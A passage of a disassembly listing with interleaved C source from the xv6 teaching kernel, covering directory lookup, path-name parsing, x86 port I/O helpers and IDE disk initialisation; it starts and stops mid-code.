mov -0xc(%ebp),%eax 801028cb: 3b 45 14 cmp 0x14(%ebp),%eax 801028ce: 0f 82 53 ff ff ff jb 80102827 <writei+0xbb> memmove(bp->data + off%BSIZE, src, m); log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ 801028d4: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 801028d8: 74 1f je 801028f9 <writei+0x18d> 801028da: 8b 45 08 mov 0x8(%ebp),%eax 801028dd: 8b 40 18 mov 0x18(%eax),%eax 801028e0: 3b 45 10 cmp 0x10(%ebp),%eax 801028e3: 73 14 jae 801028f9 <writei+0x18d> ip->size = off; 801028e5: 8b 45 08 mov 0x8(%ebp),%eax 801028e8: 8b 55 10 mov 0x10(%ebp),%edx 801028eb: 89 50 18 mov %edx,0x18(%eax) iupdate(ip); 801028ee: 8b 45 08 mov 0x8(%ebp),%eax 801028f1: 89 04 24 mov %eax,(%esp) 801028f4: e8 4a f6 ff ff call 80101f43 <iupdate> } return n; 801028f9: 8b 45 14 mov 0x14(%ebp),%eax } 801028fc: 83 c4 24 add $0x24,%esp 801028ff: 5b pop %ebx 80102900: 5d pop %ebp 80102901: c3 ret 80102902 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80102902: 55 push %ebp 80102903: 89 e5 mov %esp,%ebp 80102905: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80102908: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 8010290f: 00 80102910: 8b 45 0c mov 0xc(%ebp),%eax 80102913: 89 44 24 04 mov %eax,0x4(%esp) 80102917: 8b 45 08 mov 0x8(%ebp),%eax 8010291a: 89 04 24 mov %eax,(%esp) 8010291d: e8 4f 36 00 00 call 80105f71 <strncmp> } 80102922: c9 leave 80102923: c3 ret 80102924 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80102924: 55 push %ebp 80102925: 89 e5 mov %esp,%ebp 80102927: 83 ec 38 sub $0x38,%esp uint off, inum; struct dirent de; if(dp->type != T_DIR) 8010292a: 8b 45 08 mov 0x8(%ebp),%eax 8010292d: 0f b7 40 10 movzwl 0x10(%eax),%eax 80102931: 66 83 f8 01 cmp $0x1,%ax 80102935: 74 0c je 80102943 <dirlookup+0x1f> panic("dirlookup not DIR"); 80102937: c7 04 24 2b 94 10 80 movl $0x8010942b,(%esp) 8010293e: e8 fa db ff ff call 8010053d <panic> for(off = 0; off < dp->size; off += sizeof(de)){ 80102943: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010294a: e9 87 00 00 00 jmp 801029d6 <dirlookup+0xb2> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 8010294f: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80102956: 00 80102957: 8b 45 f4 mov -0xc(%ebp),%eax 8010295a: 89 44 24 08 mov %eax,0x8(%esp) 8010295e: 8d 45 e0 lea -0x20(%ebp),%eax 80102961: 89 44 24 04 mov %eax,0x4(%esp) 80102965: 8b 45 08 mov 0x8(%ebp),%eax 80102968: 89 04 24 mov %eax,(%esp) 8010296b: e8 91 fc ff ff call 80102601 <readi> 80102970: 83 f8 10 cmp $0x10,%eax 80102973: 74 0c je 80102981 <dirlookup+0x5d> panic("dirlink read"); 80102975: c7 04 24 3d 94 10 80 movl $0x8010943d,(%esp) 8010297c: e8 bc db ff ff call 8010053d <panic> if(de.inum == 0) 80102981: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 80102985: 66 85 c0 test %ax,%ax 80102988: 74 47 je 801029d1 <dirlookup+0xad> continue; if(namecmp(name, de.name) == 0){ 8010298a: 8d 45 e0 lea -0x20(%ebp),%eax 8010298d: 83 c0 02 add $0x2,%eax 80102990: 89 44 24 04 mov %eax,0x4(%esp) 80102994: 8b 45 0c mov 0xc(%ebp),%eax 80102997: 89 04 24 mov %eax,(%esp) 8010299a: e8 63 ff ff ff call 80102902 <namecmp> 8010299f: 85 c0 test %eax,%eax 801029a1: 75 2f jne 801029d2 <dirlookup+0xae> // entry matches path element if(poff) 801029a3: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 801029a7: 74 08 je 801029b1 <dirlookup+0x8d> *poff = off; 801029a9: 8b 45 10 mov 0x10(%ebp),%eax 801029ac: 8b 55 f4 mov -0xc(%ebp),%edx 801029af: 89 10 mov %edx,(%eax) inum = de.inum; 801029b1: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 801029b5: 0f b7 c0 movzwl %ax,%eax 801029b8: 89 45 f0 mov %eax,-0x10(%ebp) return iget(dp->dev, inum); 801029bb: 8b 45 08 mov 0x8(%ebp),%eax 801029be: 8b 00 mov (%eax),%eax 801029c0: 8b 55 f0 mov -0x10(%ebp),%edx 801029c3: 89 54 24 04 mov %edx,0x4(%esp) 801029c7: 89 04 24 mov %eax,(%esp) 801029ca: e8 32 f6 ff ff call 80102001 <iget> 801029cf: eb 19 jmp 801029ea <dirlookup+0xc6> for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); if(de.inum == 0) continue; 801029d1: 90 nop struct dirent de; if(dp->type != T_DIR) panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 801029d2: 83 45 f4 10 addl $0x10,-0xc(%ebp) 801029d6: 8b 45 08 mov 0x8(%ebp),%eax 801029d9: 8b 40 18 mov 0x18(%eax),%eax 801029dc: 3b 45 f4 cmp -0xc(%ebp),%eax 801029df: 0f 87 6a ff ff ff ja 8010294f <dirlookup+0x2b> inum = de.inum; return iget(dp->dev, inum); } } return 0; 801029e5: b8 00 00 00 00 mov $0x0,%eax } 801029ea: c9 leave 801029eb: c3 ret 801029ec <dirlink>: // Write a new directory entry (name, inum) into the directory dp. int dirlink(struct inode *dp, char *name, uint inum) { 801029ec: 55 push %ebp 801029ed: 89 e5 mov %esp,%ebp 801029ef: 83 ec 38 sub $0x38,%esp int off; struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ 801029f2: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801029f9: 00 801029fa: 8b 45 0c mov 0xc(%ebp),%eax 801029fd: 89 44 24 04 mov %eax,0x4(%esp) 80102a01: 8b 45 08 mov 0x8(%ebp),%eax 80102a04: 89 04 24 mov %eax,(%esp) 80102a07: e8 18 ff ff ff call 80102924 <dirlookup> 80102a0c: 89 45 f0 mov %eax,-0x10(%ebp) 80102a0f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80102a13: 74 15 je 80102a2a <dirlink+0x3e> iput(ip); 80102a15: 8b 45 f0 mov -0x10(%ebp),%eax 80102a18: 89 04 24 mov %eax,(%esp) 80102a1b: e8 9e f8 ff ff call 801022be <iput> return -1; 80102a20: b8 ff ff ff ff mov $0xffffffff,%eax 80102a25: e9 b8 00 00 00 jmp 80102ae2 <dirlink+0xf6> } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 80102a2a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80102a31: eb 44 jmp 80102a77 <dirlink+0x8b> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80102a33: 8b 45 f4 mov -0xc(%ebp),%eax 80102a36: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80102a3d: 00 80102a3e: 89 44 24 08 mov %eax,0x8(%esp) 80102a42: 8d 45 e0 lea -0x20(%ebp),%eax 80102a45: 89 44 24 04 mov %eax,0x4(%esp) 80102a49: 8b 45 08 mov 0x8(%ebp),%eax 80102a4c: 89 04 24 mov %eax,(%esp) 80102a4f: e8 ad fb ff ff call 80102601 <readi> 80102a54: 83 f8 10 cmp $0x10,%eax 80102a57: 74 0c je 80102a65 <dirlink+0x79> panic("dirlink read"); 80102a59: c7 04 24 3d 94 10 80 movl $0x8010943d,(%esp) 80102a60: e8 d8 da ff ff call 8010053d <panic> if(de.inum == 0) 80102a65: 0f b7 45 e0 movzwl -0x20(%ebp),%eax 80102a69: 66 85 c0 test %ax,%ax 80102a6c: 74 18 je 80102a86 <dirlink+0x9a> iput(ip); return -1; } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 80102a6e: 8b 45 f4 mov -0xc(%ebp),%eax 80102a71: 83 c0 10 add $0x10,%eax 80102a74: 89 45 f4 mov %eax,-0xc(%ebp) 80102a77: 8b 55 f4 mov -0xc(%ebp),%edx 80102a7a: 8b 45 08 mov 0x8(%ebp),%eax 80102a7d: 8b 40 18 mov 0x18(%eax),%eax 80102a80: 39 c2 cmp %eax,%edx 80102a82: 72 af jb 80102a33 <dirlink+0x47> 80102a84: eb 01 jmp 80102a87 <dirlink+0x9b> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); if(de.inum == 0) break; 80102a86: 90 nop } strncpy(de.name, name, DIRSIZ); 80102a87: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80102a8e: 00 80102a8f: 8b 45 0c mov 0xc(%ebp),%eax 80102a92: 89 44 24 04 mov %eax,0x4(%esp) 80102a96: 8d 45 e0 lea -0x20(%ebp),%eax 80102a99: 83 c0 02 add $0x2,%eax 80102a9c: 89 04 24 mov %eax,(%esp) 80102a9f: e8 25 35 00 00 call 80105fc9 <strncpy> de.inum = inum; 80102aa4: 8b 45 10 mov 0x10(%ebp),%eax 80102aa7: 66 89 45 e0 mov %ax,-0x20(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80102aab: 8b 45 f4 mov -0xc(%ebp),%eax 80102aae: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80102ab5: 00 80102ab6: 89 44 24 08 mov %eax,0x8(%esp) 80102aba: 8d 45 e0 lea -0x20(%ebp),%eax 80102abd: 89 44 24 04 mov %eax,0x4(%esp) 80102ac1: 8b 45 08 mov 0x8(%ebp),%eax 80102ac4: 89 04 24 mov %eax,(%esp) 80102ac7: e8 a0 fc ff ff call 8010276c <writei> 80102acc: 83 f8 10 cmp $0x10,%eax 80102acf: 74 0c je 80102add <dirlink+0xf1> panic("dirlink"); 80102ad1: c7 04 24 4a 94 10 80 movl $0x8010944a,(%esp) 80102ad8: e8 60 da ff ff call 8010053d <panic> return 0; 80102add: b8 00 00 00 00 mov $0x0,%eax } 80102ae2: c9 leave 80102ae3: c3 ret 80102ae4 <skipelem>: // skipelem("a", name) = "", setting name = "a" // skipelem("", name) = skipelem("////", name) = 0 // static char* skipelem(char *path, char *name) { 80102ae4: 55 push %ebp 80102ae5: 89 e5 mov %esp,%ebp 80102ae7: 83 ec 28 sub $0x28,%esp char *s; int len; while(*path == '/') 80102aea: eb 04 jmp 80102af0 <skipelem+0xc> path++; 80102aec: 83 45 08 01 addl $0x1,0x8(%ebp) skipelem(char *path, char *name) { char *s; int len; while(*path == '/') 80102af0: 8b 45 08 mov 0x8(%ebp),%eax 80102af3: 0f b6 00 movzbl (%eax),%eax 80102af6: 3c 2f cmp $0x2f,%al 80102af8: 74 f2 je 80102aec <skipelem+0x8> path++; if(*path == 0) 80102afa: 8b 45 08 mov 0x8(%ebp),%eax 80102afd: 0f b6 00 movzbl (%eax),%eax 80102b00: 84 c0 test %al,%al 80102b02: 75 0a jne 80102b0e <skipelem+0x2a> return 0; 80102b04: b8 00 00 00 00 mov $0x0,%eax 80102b09: e9 86 00 00 00 jmp 80102b94 <skipelem+0xb0> s = path; 80102b0e: 8b 45 08 mov 0x8(%ebp),%eax 80102b11: 89 45 f4 mov %eax,-0xc(%ebp) while(*path != '/' && *path != 0) 80102b14: eb 04 jmp 80102b1a <skipelem+0x36> path++; 80102b16: 83 45 08 01 addl $0x1,0x8(%ebp) while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80102b1a: 8b 45 08 mov 0x8(%ebp),%eax 80102b1d: 0f b6 00 movzbl (%eax),%eax 80102b20: 3c 2f cmp $0x2f,%al 80102b22: 74 0a je 80102b2e <skipelem+0x4a> 80102b24: 8b 45 08 mov 0x8(%ebp),%eax 80102b27: 0f b6 00 movzbl (%eax),%eax 80102b2a: 84 c0 test %al,%al 80102b2c: 75 e8 jne 80102b16 <skipelem+0x32> path++; len = path - s; 80102b2e: 8b 55 08 mov 0x8(%ebp),%edx 80102b31: 8b 45 f4 mov -0xc(%ebp),%eax 80102b34: 89 d1 mov %edx,%ecx 80102b36: 29 c1 sub %eax,%ecx 80102b38: 89 c8 mov %ecx,%eax 80102b3a: 89 45 f0 mov %eax,-0x10(%ebp) if(len >= DIRSIZ) 80102b3d: 83 7d f0 0d cmpl $0xd,-0x10(%ebp) 80102b41: 7e 1c jle 80102b5f <skipelem+0x7b> memmove(name, s, DIRSIZ); 80102b43: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80102b4a: 00 80102b4b: 8b 45 f4 mov -0xc(%ebp),%eax 80102b4e: 89 44 24 04 mov %eax,0x4(%esp) 80102b52: 8b 45 0c mov 0xc(%ebp),%eax 80102b55: 89 04 24 mov %eax,(%esp) 80102b58: e8 70 33 00 00 call 80105ecd <memmove> else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80102b5d: eb 28 jmp 80102b87 <skipelem+0xa3> path++; len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); else { memmove(name, s, len); 80102b5f: 8b 45 f0 mov -0x10(%ebp),%eax 80102b62: 89 44 24 08 mov %eax,0x8(%esp) 80102b66: 8b 45 f4 mov -0xc(%ebp),%eax 80102b69: 89 44 24 04 mov %eax,0x4(%esp) 80102b6d: 8b 45 0c mov 0xc(%ebp),%eax 80102b70: 89 04 24 mov %eax,(%esp) 80102b73: e8 55 33 00 00 call 80105ecd <memmove> name[len] = 0; 80102b78: 8b 45 f0 mov -0x10(%ebp),%eax 80102b7b: 03 45 0c add 0xc(%ebp),%eax 80102b7e: c6 00 00 movb $0x0,(%eax) } while(*path == '/') 80102b81: eb 04 jmp 80102b87 <skipelem+0xa3> path++; 80102b83: 83 45 08 01 addl $0x1,0x8(%ebp) memmove(name, s, DIRSIZ); else { memmove(name, s, len); name[len] = 0; } while(*path == '/') 80102b87: 8b 45 08 mov 0x8(%ebp),%eax 80102b8a: 0f b6 00 movzbl (%eax),%eax 80102b8d: 3c 2f cmp $0x2f,%al 80102b8f: 74 f2 je 80102b83 <skipelem+0x9f> path++; return path; 80102b91: 8b 45 08 mov 0x8(%ebp),%eax } 80102b94: c9 leave 80102b95: c3 ret 80102b96 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80102b96: 55 push %ebp 80102b97: 89 e5 mov %esp,%ebp 80102b99: 83 ec 28 sub $0x28,%esp struct inode *ip, *next; if(*path == '/') 80102b9c: 8b 45 08 mov 0x8(%ebp),%eax 80102b9f: 0f b6 00 movzbl (%eax),%eax 80102ba2: 3c 2f cmp $0x2f,%al 80102ba4: 75 1c jne 80102bc2 <namex+0x2c> ip = iget(ROOTDEV, ROOTINO); 80102ba6: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102bad: 00 80102bae: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80102bb5: e8 47 f4 ff ff call 80102001 <iget> 80102bba: 89 45 f4 mov %eax,-0xc(%ebp) else ip = idup(proc->cwd); while((path = skipelem(path, name)) != 0){ 80102bbd: e9 af 00 00 00 jmp 80102c71 <namex+0xdb> struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); else ip = idup(proc->cwd); 80102bc2: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80102bc8: 8b 40 68 mov 0x68(%eax),%eax 80102bcb: 89 04 24 mov %eax,(%esp) 80102bce: e8 00 f5 ff ff call 801020d3 <idup> 80102bd3: 89 45 f4 mov %eax,-0xc(%ebp) while((path = skipelem(path, name)) != 0){ 80102bd6: e9 96 00 00 00 jmp 80102c71 <namex+0xdb> ilock(ip); 80102bdb: 8b 45 f4 mov -0xc(%ebp),%eax 80102bde: 89 04 24 mov %eax,(%esp) 80102be1: e8 1f f5 ff ff call 80102105 <ilock> if(ip->type != T_DIR){ 80102be6: 8b 45 f4 mov -0xc(%ebp),%eax 80102be9: 0f b7 40 10 movzwl 0x10(%eax),%eax 80102bed: 66 83 f8 01 cmp $0x1,%ax 80102bf1: 74 15 je 80102c08 <namex+0x72> iunlockput(ip); 80102bf3: 8b 45 f4 mov -0xc(%ebp),%eax 80102bf6: 89 04 24 mov %eax,(%esp) 80102bf9: e8 91 f7 ff ff call 8010238f <iunlockput> return 0; 80102bfe: b8 00 00 00 00 mov $0x0,%eax 80102c03: e9 a3 00 00 00 jmp 80102cab <namex+0x115> } if(nameiparent && *path == '\0'){ 80102c08: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80102c0c: 74 1d je 80102c2b <namex+0x95> 80102c0e: 8b 45 08 mov 0x8(%ebp),%eax 80102c11: 0f b6 00 movzbl (%eax),%eax 80102c14: 84 c0 test %al,%al 80102c16: 75 13 jne 80102c2b <namex+0x95> // Stop one level early. iunlock(ip); 80102c18: 8b 45 f4 mov -0xc(%ebp),%eax 80102c1b: 89 04 24 mov %eax,(%esp) 80102c1e: e8 36 f6 ff ff call 80102259 <iunlock> return ip; 80102c23: 8b 45 f4 mov -0xc(%ebp),%eax 80102c26: e9 80 00 00 00 jmp 80102cab <namex+0x115> } if((next = dirlookup(ip, name, 0)) == 0){ 80102c2b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80102c32: 00 80102c33: 8b 45 10 mov 0x10(%ebp),%eax 80102c36: 89 44 24 04 mov %eax,0x4(%esp) 80102c3a: 8b 45 f4 mov -0xc(%ebp),%eax 80102c3d: 89 04 24 mov %eax,(%esp) 80102c40: e8 df fc ff ff call 80102924 <dirlookup> 80102c45: 89 45 f0 mov %eax,-0x10(%ebp) 80102c48: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80102c4c: 75 12 jne 80102c60 <namex+0xca> iunlockput(ip); 80102c4e: 8b 45 f4 mov -0xc(%ebp),%eax 80102c51: 89 04 24 mov %eax,(%esp) 80102c54: e8 36 f7 ff ff call 8010238f <iunlockput> return 0; 80102c59: b8 00 00 00 00 mov $0x0,%eax 80102c5e: eb 4b jmp 80102cab <namex+0x115> } iunlockput(ip); 80102c60: 8b 45 f4 mov -0xc(%ebp),%eax 80102c63: 89 04 24 mov %eax,(%esp) 80102c66: e8 24 f7 ff ff call 8010238f <iunlockput> ip = next; 80102c6b: 8b 45 f0 mov -0x10(%ebp),%eax 80102c6e: 89 45 f4 mov %eax,-0xc(%ebp) if(*path == '/') ip = iget(ROOTDEV, ROOTINO); else ip = idup(proc->cwd); while((path = skipelem(path, name)) != 0){ 80102c71: 8b 45 10 mov 0x10(%ebp),%eax 80102c74: 89 44 24 04 mov %eax,0x4(%esp) 80102c78: 8b 45 08 mov 0x8(%ebp),%eax 80102c7b: 89 04 24 mov %eax,(%esp) 80102c7e: e8 61 fe ff ff call 80102ae4 <skipelem> 80102c83: 89 45 08 mov %eax,0x8(%ebp) 80102c86: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102c8a: 0f 85 4b ff ff ff jne 80102bdb <namex+0x45> return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80102c90: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 80102c94: 74 12 je 80102ca8 <namex+0x112> iput(ip); 80102c96: 8b 45 f4 mov -0xc(%ebp),%eax 80102c99: 89 04 24 mov %eax,(%esp) 80102c9c: e8 1d f6 ff ff call 801022be <iput> return 0; 80102ca1: b8 00 00 00 00 mov $0x0,%eax 80102ca6: eb 03 jmp 80102cab <namex+0x115> } return ip; 80102ca8: 8b 45 f4 mov -0xc(%ebp),%eax } 80102cab: c9 leave 80102cac: c3 ret 80102cad <namei>: struct inode* namei(char *path) { 80102cad: 55 push %ebp 80102cae: 89 e5 mov %esp,%ebp 80102cb0: 83 ec 28 sub $0x28,%esp char name[DIRSIZ]; return namex(path, 0, name); 80102cb3: 8d 45 ea lea -0x16(%ebp),%eax 80102cb6: 89 44 24 08 mov %eax,0x8(%esp) 80102cba: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80102cc1: 00 80102cc2: 8b 45 08 mov 0x8(%ebp),%eax 80102cc5: 89 04 24 mov %eax,(%esp) 80102cc8: e8 c9 fe ff ff call 80102b96 <namex> } 80102ccd: c9 leave 80102cce: c3 ret 80102ccf <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80102ccf: 55 push %ebp 80102cd0: 89 e5 mov %esp,%ebp 80102cd2: 83 ec 18 sub $0x18,%esp return namex(path, 1, name); 80102cd5: 8b 45 0c mov 0xc(%ebp),%eax 80102cd8: 89 44 24 08 mov %eax,0x8(%esp) 80102cdc: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102ce3: 00 80102ce4: 8b 45 08 mov 0x8(%ebp),%eax 80102ce7: 89 04 24 mov %eax,(%esp) 80102cea: e8 a7 fe ff ff call 80102b96 <namex> } 80102cef: c9 leave 80102cf0: c3 ret 80102cf1: 00 00 add %al,(%eax) ... 80102cf4 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80102cf4: 55 push %ebp 80102cf5: 89 e5 mov %esp,%ebp 80102cf7: 53 push %ebx 80102cf8: 83 ec 14 sub $0x14,%esp 80102cfb: 8b 45 08 mov 0x8(%ebp),%eax 80102cfe: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102d02: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 80102d06: 66 89 55 ea mov %dx,-0x16(%ebp) 80102d0a: 0f b7 55 ea movzwl -0x16(%ebp),%edx 80102d0e: ec in (%dx),%al 80102d0f: 89 c3 mov %eax,%ebx 80102d11: 88 5d fb mov %bl,-0x5(%ebp) return data; 80102d14: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 80102d18: 83 c4 14 add $0x14,%esp 80102d1b: 5b pop %ebx 80102d1c: 5d pop %ebp 80102d1d: c3 ret 80102d1e <insl>: static inline void insl(int port, void *addr, int cnt) { 80102d1e: 55 push %ebp 80102d1f: 89 e5 mov %esp,%ebp 80102d21: 57 push %edi 80102d22: 53 push %ebx asm volatile("cld; rep insl" : 80102d23: 8b 55 08 mov 0x8(%ebp),%edx 80102d26: 8b 4d 0c mov 0xc(%ebp),%ecx 80102d29: 8b 45 10 mov 0x10(%ebp),%eax 80102d2c: 89 cb mov %ecx,%ebx 80102d2e: 89 df mov %ebx,%edi 80102d30: 89 c1 mov %eax,%ecx 80102d32: fc cld 80102d33: f3 6d rep insl (%dx),%es:(%edi) 80102d35: 89 c8 mov %ecx,%eax 80102d37: 89 fb mov %edi,%ebx 80102d39: 89 5d 0c mov %ebx,0xc(%ebp) 80102d3c: 89 45 10 mov %eax,0x10(%ebp) "=D" (addr), "=c" (cnt) : "d" (port), "0" (addr), "1" (cnt) : "memory", "cc"); } 80102d3f: 5b pop %ebx 80102d40: 5f pop %edi 80102d41: 5d pop %ebp 80102d42: c3 ret 80102d43 <outb>: static inline void outb(ushort port, uchar data) { 80102d43: 55 push %ebp 80102d44: 89 e5 mov %esp,%ebp 80102d46: 83 ec 08 sub $0x8,%esp 80102d49: 8b 55 08 mov 0x8(%ebp),%edx 80102d4c: 8b 45 0c mov 0xc(%ebp),%eax 80102d4f: 66 89 55 fc mov %dx,-0x4(%ebp) 80102d53: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102d56: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80102d5a: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80102d5e: ee out %al,(%dx) } 80102d5f: c9 leave 80102d60: c3 ret 80102d61 <outsl>: asm volatile("out %0,%1" : : "a" (data), "d" (port)); } static inline void outsl(int port, const void *addr, int cnt) { 80102d61: 55 push %ebp 80102d62: 89 e5 mov %esp,%ebp 80102d64: 56 push %esi 80102d65: 53 push %ebx asm volatile("cld; rep outsl" : 80102d66: 8b 55 08 mov 0x8(%ebp),%edx 80102d69: 8b 4d 0c mov 0xc(%ebp),%ecx 80102d6c: 8b 45 10 mov 0x10(%ebp),%eax 80102d6f: 89 cb mov %ecx,%ebx 80102d71: 89 de mov %ebx,%esi 80102d73: 89 c1 mov %eax,%ecx 80102d75: fc cld 80102d76: f3 6f rep outsl %ds:(%esi),(%dx) 80102d78: 89 c8 mov %ecx,%eax 80102d7a: 89 f3 mov %esi,%ebx 80102d7c: 89 5d 0c mov %ebx,0xc(%ebp) 80102d7f: 89 45 10 mov %eax,0x10(%ebp) "=S" (addr), "=c" (cnt) : "d" (port), "0" (addr), "1" (cnt) : "cc"); } 80102d82: 5b pop %ebx 80102d83: 5e pop %esi 80102d84: 5d pop %ebp 80102d85: c3 ret 80102d86 <idewait>: static void idestart(struct buf*); // Wait for IDE disk to become ready. static int idewait(int checkerr) { 80102d86: 55 push %ebp 80102d87: 89 e5 mov %esp,%ebp 80102d89: 83 ec 14 sub $0x14,%esp int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102d8c: 90 nop 80102d8d: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp) 80102d94: e8 5b ff ff ff call 80102cf4 <inb> 80102d99: 0f b6 c0 movzbl %al,%eax 80102d9c: 89 45 fc mov %eax,-0x4(%ebp) 80102d9f: 8b 45 fc mov -0x4(%ebp),%eax 80102da2: 25 c0 00 00 00 and $0xc0,%eax 80102da7: 83 f8 40 cmp $0x40,%eax 80102daa: 75 e1 jne 80102d8d <idewait+0x7> ; if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 80102dac: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102db0: 74 11 je 80102dc3 <idewait+0x3d> 80102db2: 8b 45 fc mov -0x4(%ebp),%eax 80102db5: 83 e0 21 and $0x21,%eax 80102db8: 85 c0 test %eax,%eax 80102dba: 74 07 je 80102dc3 <idewait+0x3d> return -1; 80102dbc: b8 ff ff ff ff mov $0xffffffff,%eax 80102dc1: eb 05 jmp 80102dc8 <idewait+0x42> return 0; 80102dc3: b8 00 00 00 00 mov $0x0,%eax } 80102dc8: c9 leave 80102dc9: c3 ret 80102dca <ideinit>: void ideinit(void) { 80102dca: 55 push %ebp 80102dcb: 89 e5 mov %esp,%ebp 80102dcd: 83 ec 28 sub $0x28,%esp int i; initlock(&idelock, "ide"); 80102dd0: c7 44 24 04 52 94 10 movl $0x80109452,0x4(%esp) 80102dd7: 80 80102dd8: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 80102ddf: e8 a6 2d 00 00 call 80105b8a <initlock> picenable(IRQ_IDE); 80102de4: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102deb: e8 e5 18 00 00 call 801046d5 <picenable> ioapicenable(IRQ_IDE, ncpu - 1); 80102df0: a1 80 41 11 80 mov 0x80114180,%eax 80102df5: 83 e8 01 sub $0x1,%eax 80102df8: 89 44 24 04 mov %eax,0x4(%esp) 80102dfc: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102e03: e8 46 04 00 00 call 8010324e <ioapicenable> idewait(0); 80102e08: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80102e0f: e8 72 ff ff ff call 80102d86 <idewait> // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); 80102e14: c7 44 24 04 f0 00 00 movl $0xf0,0x4(%esp) 80102e1b: 00 80102e1c: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp) 80102e23: e8 1b ff ff ff call 80102d43 <outb> for(i=0; i<1000; i++){ 80102e28: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80102e2f: eb 20 jmp 80102e51 <ideinit+0x87> if(inb(0x1f7) != 0){ 80102e31: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp) 80102e38: e8 b7 fe ff ff call 80102cf4 <inb> 80102e3d: 84 c0 test %al,%al 80102e3f: 74 0c je 80102e4d <ideinit+0x83> havedisk1 = 1; 80102e41: c7 05 58 c6 10 80 01 movl $0x1,0x8010c658 80102e48: 00 00 00 break; 80102e4b: eb 0d jmp 80102e5a <ideinit+0x90> ioapicenable(IRQ_IDE, ncpu - 1); idewait(0); // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); for(i=0; i<1000; i++){ 80102e4d: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80102e51: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp) 80102e58: 7e d7 jle 80102e31 <ideinit+0x67> break; } } // Switch back to disk 0. outb(0x1f6, 0xe0 | (0<<4)); 80102e5a: c7 44 24 04 e0 00 00 movl $0xe0,0x4(%esp) 80102e61: 00 80102e62: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp) 80102e69: e8 d5 fe ff ff call 80102d43 <outb> } 80102e6e: c9 leave 80102e6f: c3 ret 80102e70 <idestart>: // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80102e70: 55 push %ebp 80102e71: 89 e5 mov %esp,%ebp 80102e73: 83 ec 28 sub $0x28,%esp if(b == 0) 80102e76: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102e7a: 75 0c jne 80102e88 <idestart+0x18> panic("idestart"); 80102e7c: c7 04 24 56 94 10 80 movl $0x80109456,(%esp) 80102e83: e8 b5 d6 ff ff call 8010053d <panic> if(b->blockno >= 